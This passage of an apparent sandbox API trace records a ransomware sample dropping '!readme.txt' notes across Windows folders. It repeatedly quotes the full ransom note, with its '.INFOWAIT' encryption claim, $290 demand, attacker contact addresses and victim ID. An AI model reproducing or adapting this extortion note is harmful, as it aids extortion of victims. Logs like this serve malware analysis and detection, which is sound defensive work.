data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.672] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\!readme.txt") returned=".txt" [0113.672] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0113.672] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0113.672] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.673] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.673] PathFindFileNameW (pszPath="") returned="" [0113.673] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.673] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\!readme.txt") returned 1 [0113.673] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\!readme.txt") returned 0 [0113.673] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.673] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.676] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\!readme.txt") returned=".txt" [0113.676] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0113.676] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0113.676] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0113.676] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0113.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.676] PathFindFileNameW (pszPath="") returned="" [0113.676] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.676] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="!readme.txt" | out: pszPath="C:\\Config.Msi\\!readme.txt") returned 1 [0113.676] PathFileExistsW (pszPath="C:\\Config.Msi\\!readme.txt") returned 0 [0113.677] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.677] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.678] PathFindExtensionW (pszPath="C:\\Config.Msi\\!readme.txt") returned=".txt" [0113.679] PathFindFileNameW (pszPath="C:\\Documents and Settings\\") returned="Documents and Settings\\" [0113.679] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.679] PathFindFileNameW (pszPath="") returned="" [0113.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.679] PathAppendW (in: pszPath="C:\\Documents and Settings\\", pMore="!readme.txt" | out: pszPath="C:\\Documents and Settings\\!readme.txt") returned 1 [0113.679] PathFileExistsW (pszPath="C:\\Documents and Settings\\!readme.txt") returned 0 [0113.679] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.679] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.682] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0113.682] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0113.682] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.682] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.682] PathFindFileNameW (pszPath="") returned="" [0113.682] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.682] PathAppendW (in: pszPath="C:\\ProgramData\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\!readme.txt") returned 1 [0113.682] PathFileExistsW (pszPath="C:\\ProgramData\\!readme.txt") returned 0 [0113.683] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.683] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.684] PathFindExtensionW (pszPath="C:\\ProgramData\\!readme.txt") returned=".txt" [0113.684] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.684] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.684] PathFindFileNameW (pszPath="") returned="" [0113.685] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.685] PathAppendW (in: pszPath="C:\\ProgramData\\Adobe\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Adobe\\!readme.txt") returned 1 [0113.685] PathFileExistsW (pszPath="C:\\ProgramData\\Adobe\\!readme.txt") returned 0 [0113.686] lstrcpyW (in: lpString1=0x24b0118, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour 